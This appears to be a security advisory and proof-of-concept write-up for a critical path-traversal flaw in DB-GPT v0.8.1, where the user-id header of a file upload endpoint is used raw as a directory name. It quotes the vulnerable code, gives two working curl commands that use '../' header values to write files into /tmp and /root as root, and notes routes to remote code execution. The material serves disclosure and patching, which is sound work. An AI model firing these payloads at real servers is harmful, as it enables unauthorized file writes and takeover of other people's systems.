CVE-2026-73034 — DB-GPT v0.8.1 Unauthenticated Path Traversal → Arbitrary File Write

CVSS 9.8 (Critical) · CWE-22 · GHSA/Issue #3104

Summary

POST /api/v1/python/file/upload in DB-GPT v0.8.1 takes the user-id HTTP header and uses it raw as a path component:

upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")

There is no authentication — if the header is absent the app falls back to user_id="001" with role="admin". Injecting ../ sequences into user-id escapes the uploads root and lets an unauthenticated remote attacker write arbitrary files anywhere the container process (root) can write → direct RCE path (webroot .py, cron jobs, authorized_keys, …).

Affected: DB-GPT ≤ v0.8.1 Fixed: v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (adds a _SAFE_USER_ID_RE whitelist ^[A-Za-z0-9_\-]+$, upload-dir containment checks, and a TOCTOU symlink re-check).

Exploit

# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../tmp/pwned" \
  -F "[email protected];filename=pwned.txt"

# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../root" \
  -F "[email protected];filename=pwned_root.txt"

Note: FastAPI maps the user_id parameter to the user-id HTTP header (hyphen, not underscore).

Verification (2026-08-12, Docker lab, ARM64)

Full script: poc_cve-2026-73034.sh (runs both exploits + in-container verification + fixed-build comparison).

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73034
• Fix: https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
• Issue: https://github.com/eosphoros-ai/DB-GPT/issues/3104
• Project: https://github.com/eosphoros-ai/DB-GPT